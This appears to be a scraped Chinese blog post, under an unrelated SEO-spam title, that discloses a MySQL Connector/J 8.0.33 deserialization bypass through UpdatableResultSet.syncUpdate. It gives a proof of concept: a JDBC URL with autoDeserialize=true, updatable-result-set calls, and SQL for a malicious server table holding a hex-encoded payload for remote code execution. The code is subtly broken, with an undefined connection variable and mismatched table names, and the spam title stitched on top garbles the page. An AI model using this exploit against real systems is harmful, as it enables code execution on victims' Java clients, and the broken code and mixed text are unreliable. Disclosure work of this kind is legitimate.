怎么在工商局網(wǎng)站做注銷蘇州seo關(guān)鍵詞優(yōu)化推廣
前言
經(jīng)過與oracle官方溝通,在最新的mysql-connector-j 9.0.0里不存在這個(gè)問題,所以他們不認(rèn)為這是個(gè)漏洞
不過確實(shí),mysql-connector-java這個(gè)分支已經(jīng)遷移到mysql-connector-j了,當(dāng)時(shí)沒注意,交的時(shí)候只注意了mysql-connector-java 8.0.33確實(shí)是latest version
描述
在mysql jdbc反序列化漏洞出來之后,patch了ServerStatusDiffInterceptor的邏輯,讓他沒有調(diào)用getObject
但是我發(fā)現(xiàn),在UpdatableResultSet的syncUpdate方法還是會(huì)調(diào)用到getObject
當(dāng)時(shí)就搜了一下updateResultset的demo,然后跑了一下,發(fā)現(xiàn)都能直接調(diào)用到syncUpdate,然后就通了
poc
String url="jdbc:mysql://ip:port/test?autoDeserialize=true";
String username="root";
String password="test ";
DriverManager.getConnection(url,username,password);
Statement stmt =
connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE);
ResultSet rs = stmt.executeQuery("SELECT id,object FROM objects"); while (rs.next()) {rs.updateInt("object",1);}
rs.close(); stmt.close(); connection.close();
他這里的問題就是 不管你實(shí)際調(diào)用的updateInt還是updateString,他都會(huì)進(jìn)入syncUpdate 然后getObject這個(gè)column,只要這個(gè)column我們填寫惡意的反序列化數(shù)據(jù),就可以反序列化
然后我們需要一個(gè)惡意的mysql服務(wù)器
CREATE TABLE `objects_table` ( `id` INT AUTO_INCREMENT,
`object` BLOB, PRIMARY KEY (`id`))
INSERT INTO `objects_table`(`object`) VALUES (UNHEX('ace.........16178'));
插入hex編碼的反序列化payload,運(yùn)行就可以rce